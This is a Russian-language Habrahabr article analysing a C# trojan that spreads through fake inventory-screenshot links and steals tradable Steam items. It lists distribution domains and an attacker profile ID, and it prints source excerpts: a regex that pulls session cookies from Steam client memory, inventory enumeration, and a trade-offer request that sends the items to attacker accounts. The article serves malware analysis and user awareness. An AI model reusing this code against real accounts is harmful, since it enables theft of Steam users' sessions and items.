[Из песочницы] Троян, ворующий предметы из инвентаря Steam

b37c7760abce40fc91b84f5c78d61489.jpgХотя про этот троян известно достаточно давно, настоящую массовость он приобрел в конце ноября.Интересно в нем то, что вместо обычной кражи логинов и паролей, от которой можно вполне просто защититься, он напрямую ворует предметы из инвентаря Steam.

Компания Valve давно в курсе проблемы, но каких-то особых действий за несколько месяцев так и не предприняла, хотя текущую волну можно без проблем остановить небольшими изменениями в клиенте Steam.В инвентаре Steam хранятся предметы из нескольких популярных игр Valve, некоторые из которых могут стоить весьма внушительную (по меркам цветных пикселей) сумму. Также в нем хранятся предметы связанные с самим Steam (подарочные копии игр, фоны профиля, смайлы и т.п.).

ЗаражениеЗаражение происходит следующим образом. Ничего не подозревающему пользователю приходит сообщение, в котором содержится ссылка на якобы скриншот инвентаря, с предложением обменяться предметами. После перехода по ссылке автоматически начинает загружаться файл .scr, имеющий иконку, которая выглядит как миниатюра изображения. Учитывая, что по-умолчанию в Windows показ расширения выключен, а если даже и включен, .scr вполне может быть воспринято как «screenshot», выглядит всё весьма правдоподобно.dc5736a476ca4f89a90f02357b528ddb.png

После запуска файла троян распаковывает из ресурсов картинку и открывает её (на картинке действительно скриншот инвентаря или какого-нибудь предмета). Некоторые из модификаций прописываются в автозапуск.

dac6006a091c449688c9deec0db3ea63.png

Параллельно с этим троян извлекает cookies из памяти клиента Steam, делает запрос на steamcommunity.com для получения идентификатора сессии, ищет в инвентаре подходящие предметы и отправляет их через «Trade Request» на заранее подготовленные аккаунты злоумышленников.

К слову, во время написания этой статьи, я нашёл еще один вариант трояна (очевидно, основанный на публичных исходниках), который был написан немного иначе и обладал дополнительными функциями, например, рассылкой сообщений через список друзей.

Кстати, оригинальное имя собранного файла было «Maksim Steam Offer.exe», о чем мне любезно сказал рефлектор, а идентификатор профиля, на который идут украденные предметы — 76561198009197365. Домен, с которого троян распространялся (и на момент написания распространяется) — «puush-me.com» (для тех, кто решит поиграть в детектива, заходить из под виртуальной машины). И да, он там необфусцированный.

Несколько доменов, которые мне удалось собрать:

take-screen.orgfastscreen.orgmy-screenshot.netpuush-me.compicturesfast.netscreen-url.com

Что примечательно, большинство из них зарегистрированы у русских регистраторов.

Ковыряем исходники Сам троян написан на C#, что весьма необычно для подобного рода ПО. В скачанных мною с просторов интернета исходниках было несколько файлов: WinApis.cs, содержащий несколько методов для работы с winapi.cs, Http.cs, содержащий методы для эмуляции запросов от клиента steam (вплоть до последнего хедера) и Program.cs, в котором и происходило всё действие.Занимательно, что общий объем кода — всего около 500 строк.

Cookies из памяти клиента обе вариации трояна получают следующей регуляркой:

MatchCollection matchs = new Regex (»7656119[0–9]{10}%7c%7c[A-F0–9]{40}», RegexOptions.IgnoreCase).Matches (preparedIDs); Затем, используя полученные cookies, отправляется запрос на steamcommunity.com для получения идентификатора сессии, для чего в Http.cs есть отдельный (и весьма немаленький) метод.Получив идентификатор, троян, используя api steamcommunity, получает содержимое инвентаря:

private static List GetItems (string steamID, string appID) { List items = new List(); while (true) { string link = «profiles/» + steamID + »/inventory/json/» + appID + »/2/»; string json = Http.SteamWebRequest (cookiesContainer, link, null,»); try { JObject inventory = JObject.Parse (json);

if (((inventory.SelectToken («success») != null) && ((bool)inventory.SelectToken («success»))) && (inventory.SelectToken («rgDescriptions»)).First!= null) { IJEnumerable descriptionsBase = inventory.SelectToken («rgDescriptions»).Values ();

foreach (JToken eachItem in inventory.SelectToken («rgInventory»).Values ()) { JToken infoAbout = descriptionsBase.Where (each => each[«classid»].ToString () == eachItem[«classid»].ToString ()).First (); if (infoAbout[«tradable»].ToString () == »1») { string[] item = new string[] { appID, eachItem[«amount»].ToString (), eachItem[«id»].ToString (), infoAbout[«market_name»].ToString (), infoAbout[«type»].ToString ().ToLower () }; if (! items.Contains (item)) { items.Add (item); } } } } break; } catch { return null; }

} return items; } Cортирует его по заданным фильтрам: listed = FilterByRarity (listed, «common,»);

private static List FilterByRarity (List input, string filter) { string[] filters = filter.Split (','); List output = new List(); for (int i = 0; i < input.Count; i++) { for (int x = 0; x < filters.Length; x++) { string[] types = input[i][4].Split(' '); for (int c = 0; c < types.Length; c++) { if (types[c] == filters[x] && !output.Contains(input[i])) { output.Add(input[i]); break; } } } } return output; } И подходящие предметы (часто весьма недешевые) отправляются на предварительно подготовленные аккаунты: private static string sentItems(string sessionID, string items, string[] Offer) { return Http.SteamWebRequest(cookiesContainer, "tradeoffer/new/send", "sessionid=" + sessionID + "&partner=" + Offer[0] + "&tradeoffermessage=&json_tradeoffer=%7B%22newversion%22%3Atrue%2C%22version%22%3A2%2C%22me%22%3A%7B%22assets%22%3A%5B" + items + "%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%2C%22them%22%3A%7B%22assets%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%7D&trade_offer_create_params=%7B%22trade_offer_access_token%22%3A%22" + Offer[2] + "%22%7D", "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]); } Мера предосторожности одна — используйте linux не открывайте присланные незнакомыми людьми ссылки и пользуйтесь антивирусами (они его прекрасно детектируют).

© Habrahabr.ru